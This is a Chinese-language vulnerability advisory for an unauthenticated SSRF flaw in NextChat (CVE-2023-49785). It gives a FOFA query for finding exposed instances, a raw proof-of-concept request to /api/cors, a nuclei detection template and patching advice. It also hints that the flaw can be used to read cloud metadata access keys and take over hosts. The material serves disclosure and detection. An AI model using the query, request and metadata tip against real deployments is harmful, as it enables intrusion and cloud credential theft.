NextChat cors SSRF漏洞 （CVE-2023-49785）

<h1><a name="NextChat cors SSRF漏洞 （CVE-2023-49785）"></a><span></span>NextChat cors SSRF漏洞 （CVE-2023-49785）</h1><h2><a name="漏洞描述"></a><span></span>漏洞描述</h2><p>NextChat 是一个面向用户的GPT类应用程序，用户可以通过这个程序与GPT进行交互。2024年3月，互联网上披露CVE-2023-49785 NextChat cors SSRF 漏洞，攻击者可在无需登陆的情况下构造恶意请求造成SSRF，造成敏感信息泄漏等。</p>
<p>tips:结合云主机的特点，可通过ssrf访问云主机元数据，例如读取AK/SK，实现云主机接管。</p>
<h2><a name="产品界面"></a><span></span>产品界面</h2><p><img src="https://nc0.cdn.zkaq.cn/md/21212/48e2d73bfeb34e57f680c6c8d29ab4ab_25405.png" alt=""></p>
<h2><a name="fofa语法"></a><span></span>fofa语法</h2><p><code>title="NextChat"</code></p>
<h2><a name="POC"></a><span></span>POC</h2><pre><ol><li><code><span>GET </span><span>/</span><span>api</span><span>/</span><span>cors</span><span>/</span><span>https</span><span>/</span><span>www</span><span>.</span><span>baidu</span><span>.</span><span>com HTTP</span><span>/</span><span>1.1</span></code></li><li><code><span> </span><span>Host</span><span>:</span><span> </span></code></li><li><code><span> </span><span>User</span><span>-</span><span>Agent</span><span>:</span><span> </span><span>Mozilla</span><span>/</span><span>5.0</span><span> </span><span>(</span><span>Windows</span><span> NT </span><span>6.1</span><span>;</span><span> WOW64</span><span>)</span><span> </span><span>AppleWebKit</span><span>/</span><span>537.36</span><span> </span></code></li><li><code><span>(</span><span>KHTML</span><span>,</span><span> like </span><span>Gecko</span><span>)</span><span> </span><span>Chrome</span><span>/</span><span>41.0</span><span>.</span><span>2227.0</span><span> </span><span>Safari</span><span>/</span><span>537.36</span></code></li><li><code><span> </span><span>Connection</span><span>:</span><span> close</span></code></li><li><code><span> </span><span>Accept</span><span>:</span><span> </span><span>*</span><span>/*</span></code></li><li><code><span> Accept-Language: en</span></code></li><li><code><span> Accept-Encoding: gzip</span></code></li></ol></pre><p><img src="https://nc0.cdn.zkaq.cn/md/21212/8b29a5ff9d37902864a2b693d1b2550b_99217.png" alt=""></p>
<h2><a name="nuclei验证"></a><span></span>nuclei验证</h2><pre><ol><li><code><span> id</span><span>:</span><span> CVE</span><span>-</span><span>2023</span><span>-</span><span>49785</span></code></li><li><code></code></li><li><code><span>info</span><span>:</span></code></li><li><code><span>  name</span><span>:</span><span> </span><span>NextChat</span><span> cors SSRF</span><span>漏洞</span><span> </span><span>（</span><span>CVE</span><span>-</span><span>2023</span><span>-</span><span>49785</span><span>）</span></code></li><li><code><span>  author</span><span>:</span><span> nobody</span></code></li><li><code><span>  severity</span><span>:</span><span> high</span></code></li><li><code><span>  description</span><span>:</span><span> </span><span>|</span></code></li><li><code><span>    </span><span>NextChat</span><span> </span><span>是一个面向用户的</span><span>GPT</span><span>类应用程序，用户可以通过这个程序与</span><span>GPT</span><span>进行交互。</span></code></li><li><code><span>2024</span><span>年</span><span>3</span><span>月，互联网上披露</span><span>CVE</span><span>-</span><span>2023</span><span>-</span><span>49785</span><span> </span><span>NextChat</span><span> cors SSRF </span><span>漏洞，攻击者可在</span></code></li><li><code><span>无需登陆的情况下构造恶意请求造成</span><span>SSRF</span><span>，造成敏感信息泄漏等。</span></code></li><li><code><span>  impact</span><span>:</span><span> </span><span>|</span></code></li><li><code><span>    </span><span>攻击者可在无需登陆的情况下构造恶意请求造成</span><span>SSRF</span><span>，造成敏感信息泄漏等.</span></code></li><li><code><span>  remediation</span><span>:</span><span> </span><span>|</span></code></li><li><code><span>    </span><span>升级版本，打补丁</span></code></li><li><code><span>  metadata</span><span>:</span></code></li><li><code><span>    verified</span><span>:</span><span> </span><span>true</span></code></li><li><code><span>    max</span><span>-</span><span>request</span><span>:</span><span> </span><span>3</span></code></li><li><code><span>    fofa</span><span>-</span><span>query</span><span>:</span><span> title</span><span>=</span><span>"NextChat"</span></code></li><li><code><span>  tags</span><span>:</span><span> ai</span><span>,</span><span>gpt</span><span>,</span><span>nextchat</span><span>,</span><span>ssrf</span></code></li><li><code></code></li><li><code><span>修复建议</span><span> </span></code></li><li><code><span>建议升级到最新版本或打补丁</span></code></li><li><code><span>非必要禁止公网访问或白名单访问</span></code></li><li><code><span>requests</span><span>:</span></code></li><li><code><span>  </span><span>-</span><span> raw</span><span>:</span></code></li><li><code><span>      </span><span>-</span><span> </span><span>|</span></code></li><li><code><span>        GET </span><span>/</span><span>api</span><span>/</span><span>cors</span><span>/</span><span>https</span><span>/</span><span>www</span><span>.</span><span>baidu</span><span>.</span><span>com HTTP</span><span>/</span><span>1.1</span></code></li><li><code><span>        </span><span>Host</span><span>:</span><span> </span><span>{{</span><span>Hostname</span><span>}}</span></code></li><li><code><span>        </span><span>User</span><span>-</span><span>Agent</span><span>:</span><span> </span><span>Mozilla</span><span>/</span><span>5.0</span><span> </span><span>(</span><span>Windows</span><span> NT </span><span>6.1</span><span>;</span><span> WOW64</span><span>)</span><span> </span></code></li><li><code><span>AppleWebKit</span><span>/</span><span>537.36</span><span> </span><span>(</span><span>KHTML</span><span>,</span><span> like </span><span>Gecko</span><span>)</span><span> </span><span>Chrome</span><span>/</span><span>41.0</span><span>.</span><span>2227.0</span><span> </span></code></li><li><code><span>Safari</span><span>/</span><span>537.36</span></code></li><li><code><span>        </span><span>Connection</span><span>:</span><span> close</span></code></li><li><code><span>        </span><span>Accept</span><span>:</span><span> </span><span>*</span><span>/*</span></code></li><li><code><span>        Accept-Language: en</span></code></li><li><code><span>        Accept-Encoding: gzip</span></code></li><li><code></code></li><li><code><span>    matchers:</span></code></li><li><code><span>      - type: dsl</span></code></li><li><code><span>        dsl:</span></code></li><li><code><span>          - status_code == 200 &amp;&amp; contains_all(body,"京ICP证030173</span></code></li><li><code><span>号")</span></code></li></ol></pre><p><img src="https://nc0.cdn.zkaq.cn/md/21212/cec1d5981ad3aec274005c8f1264750a_62441.png" alt=""></p>
<h2><a name="修复建议"></a><span></span>修复建议</h2><ul>
<li>建议升级到最新版本或打补丁</li><li>非必要禁止公网访问或白名单访问</li></ul>